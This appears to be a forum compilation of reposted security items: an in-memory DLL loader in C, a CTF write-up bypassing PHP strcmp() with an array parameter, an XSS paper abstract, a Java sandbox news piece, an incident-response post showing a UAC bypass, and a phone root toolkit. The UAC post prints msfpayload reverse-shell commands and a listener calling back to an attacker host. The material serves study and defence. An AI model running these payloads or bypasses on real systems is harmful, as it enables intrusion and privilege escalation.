| MEM_COMMIT, PAGE_READWRITE); if (!module) return NULL; } copy_headers(module, module_map); copy_sections(module, module_map); if (!load_imports(module)) goto fail; apis_loaded = 1; /* relocate the module if it isn't loaded at it's prefered address */ if (relocate) { IMAGE_BASE_RELOCATION *base_reloc; base_reloc = (IMAGE_BASE_RELOCATION *)((char *)module_map + rva_to_raw(reloc_dir_entry->VirtualAddress, nt_hdrs)); fix_relocations(base_reloc, reloc_dir_entry->Size, module, (void *)image_base); } /* change the protection flags of the module pages */ protect_module_pages(module); /* call DLLMain if it has one */ if (ep_rva = nt_hdrs->OptionalHeader.AddressOfEntryPoint) { DllMainFunc dll_main; dll_main = (DllMainFunc)((char *)module + ep_rva); if (!dll_main((HINSTANCE)module, DLL_PROCESS_ATTACH, NULL)) goto fail; } return module; fail: if (apis_loaded) free_imports(module); VirtualFree(module, 0, MEM_RELEASE); return NULL; } void mem_free_library(HMODULE *module) { IMAGE_NT_HEADERS *nt_hdrs; nt_hdrs = (IMAGE_NT_HEADERS *)((char *)module + ((IMAGE_DOS_HEADER *)module)->e_lfanew); /* tell the module it's getting detached */ if (nt_hdrs->OptionalHeader.AddressOfEntryPoint) { DllMainFunc dll_main; dll_main = (DllMainFunc)((char *)module + nt_hdrs->OptionalHeader.AddressOfEntryPoint); dll_main((HINSTANCE)module, DLL_PROCESS_DETACH, NULL); } free_imports(module); VirtualFree(module, 0, MEM_RELEASE); } void *get_proc_address(HMODULE module, const char *proc_name) { IMAGE_NT_HEADERS *nt_hdrs; IMAGE_DATA_DIRECTORY *exp_entry; IMAGE_EXPORT_DIRECTORY *exp_dir; void **func_table; WORD *ord_table; char **name_table; void *address; nt_hdrs = GET_NT_HEADERS(module); exp_entry = (IMAGE_DATA_DIRECTORY *)(&nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); exp_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + exp_entry->VirtualAddress); func_table = (void **)((char *)module + exp_dir->AddressOfFunctions); ord_table = (WORD *)((char *)module + exp_dir->AddressOfNameOrdinals); name_table = (char **)((char *)module + exp_dir->AddressOfNames); /* NULL is returned if nothing is found */ address = NULL; /* is ordinal? */ if (((DWORD)proc_name >> 16) == 0) { WORD ordinal = LOWORD(proc_name); DWORD ord_base = exp_dir->Base; /* is valid ordinal? */ if (ordinal < ord_base || ordinal > ord_base + exp_dir->NumberOfFunctions) return NULL; /* taking ordinal base into consideration */ address = (void *)((char *)module + (DWORD)func_table[ordinal - ord_base]); } else { DWORD i; /* import by name */ for (i = 0; i < exp_dir->NumberOfNames; i++) { /* name table pointers are rvas */ if (strcmp(proc_name, (char *)module + (DWORD)name_table[i]) == 0) address = (void *)((char *)module + (DWORD)func_table[ord_table[i]]); } } /* is forwarded? */ if ((char *)address >= (char *)exp_dir && (char *)address < (char *)exp_dir + exp_entry->Size) { char *dll_name, *func_name; HMODULE frwd_module; dll_name = strdup((char *)address); if (!dll_name) return NULL; func_name = strchr(dll_name, '.'); *func_name++ = 0; if (frwd_module = GetModuleHandleA(dll_name)) address = get_proc_address(frwd_module, func_name); else address = NULL; free(dll_name); } return address; } Sursa: LoadLibrary replacement - rohitab.com - Forums

[h=3]Unauthorized Access: Bypassing PHP strcmp()[/h]While playing Codegate CTF 2013 this weekend, I had the opportunity to complete Web 200 which was very interesting. So, let get our hands dirty. The main page asks you to provide a valid One-Time-Password in order to log in: A valid password can be provided by selecting the "OTP issue" option, we can see the source code (provided during the challenge) below: include("./otp_util.php"); echo "your ID : ".$_SERVER["REMOTE_ADDR"].""; echo "your password : " .make_otp($_SERVER["REMOTE_ADDR"]).""; $time = 20 - (time() - ((int)(time()/20))*20); echo "you can login with this password for $time secs."; A temporary password is calculated based on my external IP (208.54.39.160) which will last 20 seconds or less, below the result: So, then I clicked on "Login" option (see first image above) and below POST data was sent: id=208.54.39.160&ps=69b9a663b7cafaca2d96c6d1baf653832f9d929b Which gave me access to the web site (line 6 in the code below): But we cannot reach line 9 (see code below) in order to get the flag since the IP in the "id" parameter was different. Let's analyze the script that handles the Login Form (login_ok.php): 1. $flag = file_get_contents($flag_file); 2. if (isset($_POST["id"]) && isset($_POST["ps"])) { 3. $password = make_otp($_POST["id"]); 4. sleep(3); // do not bruteforce 5. if (strcmp($password, $_POST["ps"]) == 0) { 6. echo "welcome, ".$_POST["id"] 8. if ($_POST["id"] == "127.0.0.1") { 9. echo "Flag:".$flag } } else { echo "alert('login failed..')"; } } Test case 1: Spoofing Client IP Address: So, the first thing that came to my mind in order to get the flag (line 9) was to send "127.0.0.1" in the "id" parameter, so, let's analyze the function make_otp() which calculates the password: $flag_file = "flag.txt"; function make_otp($user) { // acccess for 20secs. $time = (int)(time()/20); $seed = md5(file_get_contents($flag_file)).md5($_SERVER['HTTP_USER_AGENT']); $password = sha1($time.$user.$seed); return $password; } As we can see in the code above, the function make_otp receives the "id" parameter in the $user variable and is used to calculate the password, so, by following this approach, we will not be able to pass line 5 since we need a password for the IP 127.0.0.1, and we can only request passwords based on our external IP via "OTP Issue" option as explained above, so, how can we get one? What if we try to find a vulnerability in the code related to "OTP Issue" option? So, since "OTP Issue" is reading the IP based on the environment variable "REMOTE_ADDR" we could try to spoof our external IP address as if we were connecting from 127.0.0.1, but unfortunately it is not a good option, although spoofing could be possible, it is only an one way communication so we would not get a response from the Server, so at this point, we need to discard this approach. Test case 2: Bruteforcing the password By looking at the make_otp() function shown above, the only data we do not know in the password calculation process, is the content of $flag_file (obviously), so, assuming that the content of that file is less than 4-5 characters and therefore have a chance to bruteforce the MD5 hash, we only would have 20 seconds to guess it, and due to the sleep(3) command (see line 4 above), we could only guess 6 passwords before the password expires and therefore we definitely drop bruteforcing approach off the table. Test case 3: Bypassing strcmp() function After analyzing the two cases described above I started "googling" for "strcmp php vulnerabilities" but did not find anything, then, by looking at PHP documentation and realized this function has only three possible return values: int strcmp ( string $str1 , string $str2 ) Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. Obviously, we need to find a way to force strcmp to return 0 and be able to bypass line 5 (see above) without even knowing the password, so, I started wondering what would be the return value if there is an error during the comparison? So, I prepare a quick test comparing str1 with an Array (or an Object) instead of another string: $fields = array( 'id' => '127.0.0.1', 'ps' => 'bar' ); $a="danux"; if (strcmp($a,$fields) == 0){ echo " This is zero!!"; } else{ echo "This is not zero"; } And got below warning from PHP: PHP Warning: strcmp() expects parameter 2 to be string, array given in ... But guess what?Voila! it also returns the string "This is zero!!" In other words, it returns 0 as if both values were equal. So, the last but not least step is to send an Array in the "ps" POST parameter so that we can bypass line 5, after some research and help from my friend Joe B. I learned I can send an array this way: id=127.0.0.1&amp;ps[]=a Notice that instead of sending "&ps=a", I also send the square brackets [] in the parameter name which will send an array object!! Also, notice that I am sending "id=127.0.0.1" so that I can get to the line 9. And after sending this POST request... Conclusion: I tested this vulnerability with my local version of PHP/5.3.2-1ubuntu4.17, I do not know the version running in the CTF Server but should be similar. After this exercise, I would suggest you all make sure you are not using strcmp() to compare values coming from end users (via POST/GET/Cookies/Headers, etc), this also reminds me the importance of not only validate parameter values BUT also parameter names as described in on of my previous blogs here. Hope you enjoy it. Thanks to CODEGATE Team to prepare those interesting challenges! Posted by Danux at 2:27 AM Sursa: Regalado (In) Security: Unauthorized Access: Bypassing PHP strcmp()

Post XSS Exploitation: Advanced Attacks and Remedies Nishtha Jatana1, Adwiteeya Agrawal 2, Kritika Sobti 3 1Assistant professor, Department of Computer Science and Engineering, Maharaja Surajmal Institute of Technology, New Delhi, India nishtha.jatana@gmail.com 2,3 Student, Department of Information Technology, Maharaja Surajmal Institute of Technology, New Delhi, India adwiteeyaagrawal@gmail.com, kritikasobti92@gmail.com Abstract – XSS (cross site scripting) is a web application vulnerability wherein an end point user can pass simple scripts as payloads in un-sanitized input variables. XSS vulnerability has been in existence since long but the current scenario deals with exploiting these vulnerabilities for further attacks, this concept is known as "Post XSS Exploitation" and is focused upon in this paper. This paper presents an in depth study of the dangers of XSS vulnerabilities and vulgarizes its exploitation, it also showcases the remedies of post XSS attacks that can be adopted as a safeguard. Further we exploit a vulnerability and develop a novel module for one of the popular tools of post XSS exploitation. This module can be used to make a SIP (Session Initiation Protocol) call. It has been developed with the intention of being included into the new release of the XSSF framework. Download: www.exploit-db.com/download_pdf/24559

[h=1]Prompted by Oracle Rejection, Researcher Finds Five New Java Sandbox Vulnerabilities[/h]by Michael Mimoso March 4, 2013, 11:03AM Giving a prolific bug hunter an excuse to go poking deeper into a potential security issue generally doesn’t end well or the vendor in question—in this case Oracle. Polish security firm Security Explorations, noteworthy for its Java security research, said today it reported five new vulnerabilities in Java SE 7 to Oracle. If combined, researcher Adam Gowdiak said, they can be used to gain a complete bypass of the Java sandbox. The deeper look stemmed from a recent submission the company made to Oracle on Feb. 25 of two vulnerabilities that when used in conjunction could also bypass the sandbox. Gowdiak said Oracle dismissed one of the issues he reported, which he labels Issue 54, and called it “allowed behavior,” rather than a vulnerability. It confirmed the other. “We confirmed that company's initial judgment of Issue 54 as the ‘allowed behavior’ contradicts both Java SE documentation as well as existing security checks in code,” he said. “It looks Oracle needs to either start treating Issue 54 as a vulnerability or change the docs and relax some of the existing security checks.” Gowdiak said his company provided Oracle with code samples proving the "allowed behavior" is not allowed in Java SE. "The codes we delivered to Oracle trigger real security exceptions in a response to the attempt to gain same access as the one abused by Issue 54," he told Threatpost. "We've also found evidence in Oracle's own Java SE docs that contradicts company's claims." This latest twist just compounds a miserable year for Java security; last week another attack was reported that targeted Java 6u41 through Java 7u15. Gowdiak would not provide many details on the five vulnerabilities reported today, other than to say four of the five problems lie in a vulnerability in the Reflection API. “The attack breaks a couple of security checks introduced to Java SE by Oracle over the recent months (Issues 57 and 58). It also exploits code fragments that were missing proper security checks corresponding to the very mirror code (Issue 59 and 60),” Gowdiak wrote on the Full Disclosure List. “Finally, it demonstrates a difference between the JVM specification and its implementation (Issue 56).” Gowdiak said his company did not check whether the flaws impact Java 6, and added that Security Explorations may disclose details should Oracle not treat Issue 54 as a vulnerability. “We disagree with Oracle's assessment regarding Issue 54. There is a mirror case corresponding to Issue 54 that leads to access denied condition and a security exception. That alone seems to be enough to contradict the ‘allowed behavior’ claim by the company (is it possible to claim a non-security vulnerability when access is denied for a public API, but allowed for some private code path?),” Gowdiak said. “If Oracle sticks to their assessment we'll have no choice than to publish details of Issue 54.” Sursa: Prompted by Oracle Rejection, Researcher Finds Five New Java Sandbox Vulnerabilities | threatpost

[h=2]UAC Impact on Malware[/h]Monday, March 4, 2013 Posted by Corey Harrell The User Account Control (UAC) is a feature in Windows where every application ran under an administrator user account only runs in the context of a standard user. UAC not only has an impact on the tools we use as I discussed before but it has the same impact on tools used by others such as malware. Recently, I’ve been doing work involving client-side exploits when I was reading a recipe about using Metasploit to take advantage of the way some applications loads external libraries on the Windows operating system. It reminded me about something I read about the ZeroAcess Trojan. How ZeroAccess will leverage the DLL search order vulnerability to bypass the restrictions enforced by UAC. In this post I’m having a little fun by demonstrating the impact UAC has on malware and how effective the DLL search order exploit is for bypassing UAC. The following are the sections for this post: - What is UAC - DLL Search Order Vulnerability - ZeroAccess’s Method to Bypass UAC - Metasploit Setup - Restrictions Enforced by UAC - Bypassing UAC - Summary [h=2]What is UAC[/h] As I mentioned previously, UAC was first introduced with Windows Vista and the feature carried over to Windows 7. By default, UAC is turned on in both operating systems. “The primary goal of User Account Control is to reduce the exposure and attack surface of the Windows 7 operating system by requiring that all users run in standard user mode, and by limiting administrator-level access to authorized processes.” This is a pretty significant feature as it relates to malware. Over the years people have grown accustomed to using user accounts with local administrator privileges on their Windows systems. It even reached a point to where certain applications don’t function properly without these elevated rights. The issue with doing everyday tasks with administrative privileges is that any application executed by the user also runs with elevated privileges. If malware executed on a system with elevated privileges then it could make changes system wide. What UAC does is to restrict the elevated privileges from applying to every application launched by the user. The impact on malware is pretty significant; it is restricted to the locations on the system where the user account has permissions. In most cases, these areas are the user’s profile and any mapped drives. The malware will no longer have the ability to make system wide changes unless it can elevate its privileges. When faced with an infected system it’s important to check the UAC settings due to the potential impact UAC has on malware. The Microsoft article UAC Group Policy Settings and Registry Key Settings outlines the UAC registry settings and the uac RegRipper plugin can extract this information. Below is the output from the uac plug-in when UAC is turned on with the default settings (when UAC is off the EnableLUA and ConsentPromptBehaviorAdmin values are both set to zero): C:\>rip.exe –p uac –r C:\uac\on\Software uac v.20130213 (Software) Get Select User Account Control (UAC) Values UAC Information Microsoft\Windows\CurrentVersion\policies\system LastWrite Time Wed Feb 13 18:39:29 2013 (UTC) EnableLUA value = 1 User Account Control: Run all administrators in Admin Approval Mode 0 = Disabled 1 = Enabled (Default) EnableVirtualization value = 1 User Account Control: Virtualize file and registry write failures to per-user locations 0 = Disabled 1 = Enabled (Default) FilterAdministratorToken value = 0 User Account Control: Admin Approval Mode for the built-in Administrator account 0 = Disabled (Default) 1 = Enabled ConsentPromptBehaviorAdmin value = 5 User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode 0 = Elevate without prompting 1 = Prompt for credentials on the secure desktop 2 = Prompt for consent on the secure desktop 3 = Prompt for credentials 4 = Prompt for consent 5 = Prompt for consent for non-Windows binaries (Default) ConsentPromptBehaviorUser value = 3 User Account Control: Behavior of the elevation prompt for standard users 0 = Automatically deny elevation requests 1 = Prompt for consent on the secure desktop 3 = Prompt for consent on the secure desktop (Default) [h=2]DLL Search Order Vulnerability[/h] The dynamic-link library (DLL) search order vulnerability is well known and has been extensively discussed. Three years ago Mandiant wrote about the weakness in the post Malware Persistence without the Windows Registry. The ISC Diary chimed in on the issue with their post DLL hijacking vulnerabilities. These are only two articles out of many so I’m only briefly touching on the vulnerability. The vulnerability exists because Windows searches for a DLL in a specific order when an application tries to load a DLL. The directories searched are the following in this order: directory from which applications loaded, system directory, Windows directory, current directory, and the directories that are listed in the PATH environment variable. The vulnerability is an application could load a malicious DLL - if the DLL has the same name as one that gets loaded - if the DLL is located in a directory that is searched before the directory containing the legitimate DLL ZeroAccess’s Method to Bypass UAC UAC restricts the elevated privileges from applying to every application launched by the user which significantly impacts malware. The ZeroAccess Rootkit bypasses UAC using a clever technique. The Sophos ZeroAccess Rootkit Report described the technique as follows: “ZeroAccess must elevate its privileges to install successfully, but in order to do this from a non-administrator account on UAC enabled versions of Windows, a UAC popup will appear. End users are more likely to be suspicious of a file they have just downloaded from the internet that they thought was an illegal keygen, crack or hacked version of a game; they may also be suspicious if an unknown exe file causes a UAC popup while the user is browsing the web (exploit pack infection vector). As a result the user may choose not to allow the program to proceed, thus ZeroAccess installation may fail. To bypass this possible problem, ZeroAccess disguises itself by forcing the UAC popup to appear to come from a different, benign-seeming program. A clean copy of the Adobe Flash Installer (InstallFlashPlayer.exe) is dropped to a temporary directory and the DLL load order of Windows is abused to ensure that ZeroAccess is loaded into the clean file’s process address space when it is executed. By dropping a DLL called msimg32.dll (one of the DLLs that InstallFlashPlayer.exe imports) into the same directory as the Flash installer file, Windows will load this DLL in preference to the genuine msimg32.dll because Windows looks in the current directory before the system directory when loading DLLs:” I executed a Flash installer file from the Temp folder and the search order for the msimg32.dll was: LdrLoadDll ( "C:\Users\lab\AppData\Local\Temp;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\", 0x0028fa78, 0x0028fa64, 0x0028fa7c ) As can be seen the folder where the application loaded from (Temp) was checked before the C:\Windows\system32 directory where the msimg32.dll is actually located. [h=2]Metasploit Setup[/h] The ZeroAccess Rootkit uses a mixture of social engineering and the DLL search order vulnerability to bypass the UAC feature. Metasploit was my go to tool to demonstrate UAC’s impact on malware and to verify how effective the DLL search order exploit is for bypassing the feature. For those solely interested in the testing skip ahead to Restrictions Enforced by UAC section. For completeness and those who want to replicate my testing I’m providing the information about my Metasploit setup. My setup involved: create a custom executable to UAC’s restrictions on privileges, create custom DLL to bypass UAC with, and set up Metasploit listener for the reverse connections. My network configuration was Windows 7 and BackTrack virtual machines both connected to a virtual network. After I created the custom reverse shells I manually copied them over to the Windows 7 virtual machine for execution. [h=3]Create Custom Executable[/h] I built the custom executable with msfpayload and used the following command. root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.71.128 LPORT=4444 X >./msimg32.exe [h=3]Create Custom DLL[/h] I built the custom DLL with pretty much the same command but I replaced the X with a D as shown below. root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.71.128 LPORT=4444 D >./msimg32.dll [h=3]Set up Metasploit Listener[/h] The payload I selected for the custom executable and DLL were reverse shells. Their purpose is to establish command shells back to my BackTrack VM at IP address 192.168.71.128 on port 4444. The following are the commands I used to setup the Metasploit listener (notice the listener uses the same payload, IP address, and port number as the custom executable/DLL) msf > use exploit/multi/handler msf exploit(handler) > set payload windows/shell_reverse_tcp payload => windows/shell_reverse_tcp msf exploit(handler) > set LHOST 192.168.71.128 LHOST => 192.168.71.128 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.71.128:4444 [*] Starting the payload handler... [h=2]Restrictions Enforced by UAC[/h] It’s always helpful to first see things as they should be. The first test was to examine the privileges restrictions imposed by UAC to see firsthand its impact on malware from the attackers’ perspective. I manually copied the msimg32.exe to the C:\Users\lab\AppData\Local\Temp directory on the Windows 7 VM and then executed it. On the BackTrack VM I got a successful shell as shown below: [*] Command shell session 1 opened (192.168.71.128:4444 -> 192.168.71.130:49157) at 2013-02-14 21:12:46 -0500 I dropped into the shell and executed the whoami command to see what privileges I had. C:\Users\lab\AppData\Local\Temp>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============= =============================== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled The output showed the shell was running under standard user mode since certain administrative privileges were missing such as the SeTakeOwnershipPrivilege privilege. I next took the testing one step forward by trying to create a file in the System32 directory but was denied access as shown below: C:\Users\lab\AppData\Local\Temp>echo hello > C:\Windows\System32\hello.txt echo hello > C:\Windows\System32\hello.txt Access is denied. Bypassing UAC The restricted privileges imposed by UAC was expected and matched my previous testing. I restored the Windows 7 VM to a snapshot in a clean state and copied the msimg32.dll and a Flash Installer file to the C:\Users\lab\AppData\Local\Temp directory. I executed the Flash installer file (InstallFlashPlayer.exe) by double clicking it and was greeted with the UAC popup. Notice how the verified publisher shows Adobe Systems Incorporated. After I clicked Yes to allow the program to make changes to the system on the BackTrack VM I got a successful shell as shown below. This means the msimg32.dll in the Temp directly was loaded before the legitimate DLL in the System32 directory. [*] Command shell session 2 opened (192.168.71.128:4444 -> 192.168.71.130:49157) at 2013-02-14 21:18:28 -0500 I dropped into the shell and executed the whoami command to see what privileges I had. C:\Users\lab\AppData\Local\Temp>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State =============================== ====== ======== SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeSecurityPrivilege Manage auditing and security log Disabled SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeLoadDriverPrivilege Load and unload device drivers Disabled SeSystemProfilePrivilege Profile system performance Disabled SeSystemtimePrivilege Change the system time Disabled SeProfileSingleProcessPrivilege Profile single process Disabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled SeCreatePagefilePrivilege Create a pagefile Disabled SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeDebugPrivilege Debug programs Disabled SeSystemEnvironmentPrivilege Modify firmware environment values Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled SeUndockPrivilege Remove computer from docking station Disabled SeManageVolumePrivilege Perform volume maintenance tasks Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled SeCreateSymbolicLinkPrivilege Create symbolic links Disabled The output showed the shell was running under administrator mode confirming UAC was successfully bypassed. Again, I took the testing one step forward by successfully creating a file in the System32 directory (notice the access denied message didn’t appear). C:\Users\lab\AppData\Local\Temp>echo hello > C:\Windows\System32\hello.txt echo hello > C:\Windows\System32\hello.txt C:\Users\lab\AppData\Local\Temp> Summary When confronted with examining a system impacted by malware it is important to know what user account was involved and what privileges the account had. If the account is an administrator on a Windows Vista or newer operating system then the next check should be to determine the UAC settings. UAC is the difference between malware being able to make changes system wide or being restricted to a user profile. That is unless the malware leverages a technique to bypass the UAC feature. Then all bets are off. Sursa: Journey Into Incident Response: UAC Impact on Malware

[h=1][sAMSUNG GALAXY S3 UNIFIED TOOLKIT V7.0] Drivers, Backup, Root, Recovery + MORE [GSM][/h] INTRODUCING THE SAMSUNG GALAXY S3 UNIFIED TOOLKIT IMPORTANT: THIS TOOLKIT SUPPORTS 14 DIFFERENT S3 VARIANTS AT THE MOMENT SO MAKE SURE YOU SELECT THE CORRECT MODEL FOR YOUR DEVICE IN THE MODEL SELECTION SCREEN OR INCORRECT RECOVERY/BOOT IMAGES WILL BE DOWNLOADED WHICH COULD SOFT BRICK YOUR DEVICE. Quote: [TABLE] [TR] [TD=class: alt2, bgcolor: #E9E9E9] SUPPORTED MODELS INTERNATIONAL [GT-I9300] SUPPORT THREAD HERE AUSTRALIAN MODEL GSM [GT-I9300T] INTERNATIONAL [GT-I9305/GT-I9305N] SUPPORT THREAD HERE AUSTRALIAN MODEL LTE [GT-I9305T] C SPIRE MODEL LTE [sCH-L710] AT&T US [sGH-I747] SUPPORT THREAD HERE BELL, ROGERS, SASKTEL, TELUS [sGH-I747M] [sGH-I747M] USE AT&T SUPPORT THREAD US CELLULAR MODEL LTE [sCH-R530] USE AT&T SUPPORT THREAD METRO PCS MODEL LTE [sCH-R530M] USE AT&T SUPPORT THREAD SPRINT US [sPH-L710] SUPPORT THREAD HERE TMOBILE US [sGH-T999] SUPPORT THREAD HERE MOBILICITY, VIDEOTRON, WIND [sGH-T999V] USE TMOBILE SUPPORT THREAD VERIZON US [sCH-I535] SUPPORT THREAD HERE [/TD] [/TR] [/TABLE] FUNCTIONS OF SAMSUNG GALAXY S3 UNIFIED TOOLKIT V7.0 [10TH JANUARY 2013] Install drivers automatically Backup/Restore a single package or all apps, user data and Internal Storage Backup your /data/media (virtual SD Card) to your PC for a Full Safe backup of data Perform a FULL NANDROID Backup of your system via adb and save in Custom Recovery format on your PC Pull /data and /system folders, compress to a .tar file and save to your PC Auto Update ToolKit to latest push version on startup (donator feature) Backup/Restore your /efs partition Dump selected Phone Partitions, compress to a .zip file with md5 and save to your PC Install BusyBox binary on phone Root any public build INCLUDING JELLY BEAN (different options available) Root with Superuser (ChainsDD) or SuperSU (Chainfire) via CWM (works on ANY build) Flash Stock Recovery Install any zip file via Sideload feature in Recovery Flash CWM Touch Recovery (thanks to TeamEpic) or CF-CWM Recovery (thanks to Chainfire) Rename Recovery Restore files if present Flash Insecure Boot Image for adb mode Flash Stock Boot Image back to your phone Create tar file to flash via Odin with 1-click process Download, Extract and Flash Stock Rom (full DETAILED steps) ESSENTIAL FOR WARRANTY RETURNS Rip cache.img to zip file in CWM format for editing and flashing (thanks to Adam Lange) Install a single apk or multiple apk's to your phone Push Files from your PC to your phone Pull Files from your phone to your PC Set Files Permissions on your phone Dump selected LogCat buffers to your PC Dump BugReport to your PC (if installed) Help, Information Screen for various tasks Mods Section to Modify your phone Reboot Phone options in adb mode Change background, text colour in ToolKit Activate Donator features from within the ToolKit -------------------------------------------------------------- **CLICK HERE TO DOWNLOAD THE SAMSUNG GALAXY S3 TOOLKIT V7.0** INCLUDES MODSSECTION V3.0 Mirror (MediaFire) of V7.0 being uploaded NOTE: As this update is soo big and pretty much every file from previous versions has changed an Auto Update to V7.0 is not possible because the update would be the same size as the full download and I am not permitted to host that size file on my server. Please download and install the full version from the link above. Donator codes will still work on the current version and enable future Auto Updates and donator features. NOTE: As the exe files are not Digitally Signed with a Microsoft Certificate they 'may' get picked up as potentially harmful by Antivirus Programs and deleted on first run. If this happens restore the file and exclude it from future scans to use it. This seems to happen mostly on AVG Free and Norton which is why I switched to BitDefender which is much better. IMPORTANT: ONLY FLASH ROMS THAT ARE SPECIFICALLY MADE FOR YOUR PHONES MODEL NUMBER AS FLASHING AN INCORRECT ROM CAN POTENTIALLY BRICK YOUR DEVICE! Credits: ChainsDD for Superuser, Chainfire for SuperSU and modded cwm, koush and the clockworkmod team for cwm touch, twrp team, ausdim for cwm port to I9305 Mai multe si sursa: [sAMSUNG GALAXY S3 UNIFIED TOOLKIT V7.0] Drivers, Backup, Root, Recovery + MORE [GSM] - xda-developers